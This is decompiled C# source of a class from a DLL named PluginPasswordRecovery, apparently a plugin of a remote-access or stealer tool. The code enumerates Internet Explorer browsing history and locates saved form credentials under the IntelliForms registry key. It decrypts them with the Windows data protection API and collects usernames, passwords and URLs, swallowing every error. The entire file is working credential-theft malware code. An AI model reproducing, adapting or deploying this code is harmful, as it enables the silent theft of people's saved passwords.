﻿// Decompiled with JetBrains decompiler
// Type: Plugin.Helper.Browsers.InternetExplorerPassReader
// Assembly: PluginPasswordRecovery, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: E94068A8-BD3A-4D1E-9D36-4F12AED48A05
// Assembly location: C:\Users\ian\Downloads\Telegram Desktop\fein\Plugins\PluginPasswordRecovery.dll

using InvokedClient.Helper;
using InvokedCommon.Models;
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;


namespace Plugin.Helper.Browsers
{
	public class InternetExplorerPassReader : IAccountReader
	{
		private const string regPath = "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2";
		private const uint PROV_RSA_FULL = 1;
		private const uint CRYPT_VERIFYCONTEXT = 4026531840;
		private const int ALG_CLASS_HASH = 32768;
		private const int ALG_SID_SHA1 = 4;

		public string ApplicationName => "Internet Explorer";

		public IEnumerable<RecoveredAccount> ReadAccounts()
		{
			List<RecoveredAccount> recoveredAccountList = new List<RecoveredAccount>();
			try
			{
				using (ExplorerUrlHistory explorerUrlHistory = new ExplorerUrlHistory())
				{
					List<string[]> dataList = new List<string[]>();
					foreach (STATURL staturl in explorerUrlHistory)
					{
						try
						{
							if (InternetExplorerPassReader.DecryptIePassword(staturl.UrlString, dataList))
							{
								foreach (string[] strArray in dataList)
									recoveredAccountList.Add(new RecoveredAccount()
									{
										Username = strArray[0],
										Password = strArray[1],
										Url = staturl.UrlString,
										Application = this.ApplicationName
									});
							}
						}
						catch (Exception ex)
						{
						}
					}
				}
			}
			catch (Exception ex)
			{
			}
			return (IEnumerable<RecoveredAccount>) recoveredAccountList;
		}

		public static List<RecoveredAccount> GetSavedCookies() => new List<RecoveredAccount>();

		private static T ByteArrayToStructure<T>(byte[] bytes) where T : struct
		{
			GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
			T structure = (T) Marshal.PtrToStructure(gcHandle.AddrOfPinnedObject(), typeof (T));
			gcHandle.Free();
			return structure;
		}

		private static bool DecryptIePassword(string url, List<string[]> dataList)
		{
			string urlHashString = InternetExplorerPassReader.GetURLHashString(url);
			if (!InternetExplorerPassReader.DoesURLMatchWithHash(urlHashString))
				return false;
			byte[] encryptedData;
			using (RegistryKey registryKey = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2"))
			{
				if (registryKey == null)
					return false;
				encryptedData = (byte[]) registryKey.GetValue(urlHashString);
			}
			byte[] numArray1 = new byte[2 * (url.Length + 1)];
			Buffer.BlockCopy((Array) url.ToCharArray(), 0, (Array) numArray1, 0, url.Length * 2);
			byte[] numArray2 = ProtectedData.Unprotect(encryptedData, numArray1, DataProtectionScope.CurrentUser);
			InternetExplorerPassReader.IEAutoComplteSecretHeader structure1 = InternetExplorerPassReader.ByteArrayToStructure<InternetExplorerPassReader.IEAutoComplteSecretHeader>(numArray2);
			if ((long) numArray2.Length >= (long) (structure1.dwSize + structure1.dwSecretInfoSize + structure1.dwSecretSize))
			{
				uint num = structure1.IESecretHeader.dwTotalSecrets / 2U;
				int length = Marshal.SizeOf(typeof (InternetExplorerPassReader.SecretEntry));
				byte[] numArray3 = new byte[(int) structure1.dwSecretSize];
				int srcOffset1 = (int) structure1.dwSize + (int) structure1.dwSecretInfoSize;
				Buffer.BlockCopy((Array) numArray2, srcOffset1, (Array) numArray3, 0, numArray3.Length);
				if (dataList == null)
					dataList = new List<string[]>();
				else
					dataList.Clear();
				int srcOffset2 = Marshal.SizeOf<InternetExplorerPassReader.IEAutoComplteSecretHeader>(structure1);
				for (int index = 0; (long) index < (long) num; ++index)
				{
					byte[] numArray4 = new byte[length];
					Buffer.BlockCopy((Array) numArray2, srcOffset2, (Array) numArray4, 0, numArray4.Length);
					InternetExplorerPassReader.SecretEntry structure2 = InternetExplorerPassReader.ByteArrayToStructure<InternetExplorerPassReader.SecretEntry>(numArray4);
					string[] strArray = new string[3];
					byte[] numArray5 = new byte[(int) structure2.dwLength * 2];
					Buffer.BlockCopy((Array) numArray3, (int) structure2.dwOffset, (Array) numArray5, 0, numArray5.Length);
					strArray[0] = Encoding.Unicode.GetString(numArray5);
					int srcOffset3 = srcOffset2 + length;
					Buffer.BlockCopy((Array) numArray2, srcOffset3, (Array) numArray4, 0, numArray4.Length);
					InternetExplorerPassReader.SecretEntry structure3 = InternetExplorerPassReader.ByteArrayToStructure<InternetExplorerPassReader.SecretEntry>(numArray4);
					byte[] numArray6 = new byte[(int) structure3.dwLength * 2];
					Buffer.BlockCopy((Array) numArray3, (int) structure3.dwOffset, (Array) numArray6, 0, numArray6.Length);
					strArray[1] = Encoding.Unicode.GetString(numArray6);
					strArray[2] = urlHashString;
					dataList.Add(strArray);
					srcOffset2 = srcOffset3 + length;
				}
			}
			return true;
		}

		private static bool DoesURLMatchWithHash(string urlHash)
		{
			bool flag = false;
			using (RegistryKey registryKey = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2"))
			{
				if (registryKey == null)
					return false;
				if (((IEnumerable<string>) registryKey.GetValueNames()).Any<string>((Func<string, bool>) (value => value == urlHash)))
					flag = true;
			}
			return flag;
		}

		private static string GetURLHashString(string wstrURL)
		{
			IntPtr phProv = IntPtr.Zero;
			IntPtr zero = IntPtr.Zero;
			InternetExplorerPassReader.CryptAcquireContext(out phProv, string.Empty, string.Empty, 1U, 4026531840U);
			if (!InternetExplorerPassReader.CryptCreateHash(phProv, InternetExplorerPassReader.ALG_ID.CALG_SHA1, IntPtr.Zero, 0U, ref zero))
				throw new Win32Exception(Marshal.GetLastWin32Error());
			byte[] bytes = Encoding.Unicode.GetBytes(wstrURL);
			StringBuilder stringBuilder = new StringBuilder(42);
			if (InternetExplorerPassReader.CryptHashData(zero, bytes, (wstrURL.Length + 1) * 2, 0U))
			{
				uint pdwDataLen = 20;
				byte[] pbData = new byte[(int) pdwDataLen];
				if (!InternetExplorerPassReader.CryptGetHashParam(zero, InternetExplorerPassReader.HashParameters.HP_HASHVAL, pbData, ref pdwDataLen, 0U))
					throw new Win32Exception(Marshal.GetLastWin32Error());
				byte num1 = 0;
				stringBuilder.Length = 0;
				for (int index = 0; (long) index < (long) pdwDataLen; ++index)
				{
					byte num2 = pbData[index];
					num1 += num2;
					stringBuilder.AppendFormat("{0:X2}", (object) num2);
				}
				stringBuilder.AppendFormat("{0:X2}", (object) num1);
				InternetExplorerPassReader.CryptDestroyHash(zero);
			}
			InternetExplorerPassReader.CryptReleaseContext(phProv, 0U);
			return stringBuilder.ToString();
		}

		[DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
		[return: MarshalAs(UnmanagedType.Bool)]
		private static extern bool CryptAcquireContext(
			out IntPtr phProv,
			string pszContainer,
			string pszProvider,
			uint dwProvType,
			uint dwFlags);

		[DllImport("advapi32.dll", SetLastError = true)]
		[return: MarshalAs(UnmanagedType.Bool)]
		private static extern bool CryptCreateHash(
			IntPtr hProv,
			InternetExplorerPassReader.ALG_ID algid,
			IntPtr hKey,
			uint dwFlags,
			ref IntPtr phHash);

		[DllImport("advapi32.dll")]
		[return: MarshalAs(UnmanagedType.Bool)]
		private static extern bool CryptHashData(
			IntPtr hHash,
			byte[] pbData,
			int dwDataLen,
			uint dwFlags);

		[DllImport("advapi32.dll")]
		[return: MarshalAs(UnmanagedType.Bool)]
		private static extern bool CryptDestroyHash(IntPtr hHash);

		[DllImport("advapi32.dll", SetLastError = true)]
		[return: MarshalAs(UnmanagedType.Bool)]
		private static extern bool CryptGetHashParam(
			IntPtr hHash,
			InternetExplorerPassReader.HashParameters dwParam,
			byte[] pbData,
			ref uint pdwDataLen,
			uint dwFlags);

		[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
		[return: MarshalAs(UnmanagedType.Bool)]
		private static extern bool CryptReleaseContext(IntPtr hProv, uint dwFlags);

		private struct IESecretInfoHeader
		{
			public uint dwIdHeader;
			public uint dwSize;
			public uint dwTotalSecrets;
			public uint unknown;
			public uint id4;
			public uint unknownZero;
		}

		private struct IEAutoComplteSecretHeader
		{
			public uint dwSize;
			public uint dwSecretInfoSize;
			public uint dwSecretSize;
			public InternetExplorerPassReader.IESecretInfoHeader IESecretHeader;
		}

		[StructLayout(LayoutKind.Explicit)]
		private struct SecretEntry
		{
			[FieldOffset(0)]
			public uint dwOffset;
			[FieldOffset(4)]
			public byte SecretId;
			[FieldOffset(5)]
			public byte SecretId1;
			[FieldOffset(6)]
			public byte SecretId2;
			[FieldOffset(7)]
			public byte SecretId3;
			[FieldOffset(8)]
			public byte SecretId4;
			[FieldOffset(9)]
			public byte SecretId5;
			[FieldOffset(10)]
			public byte SecretId6;
			[FieldOffset(11)]
			public byte SecretId7;
			[FieldOffset(12)]
			public uint dwLength;
		}

		private enum ALG_ID
		{
			CALG_MD5 = 32771, // 0x00008003
			CALG_SHA1 = 32772, // 0x00008004
		}

		private enum HashParameters
		{
			HP_ALGID = 1,
			HP_HASHVAL = 2,
			HP_HASHSIZE = 4,
		}
	}
}
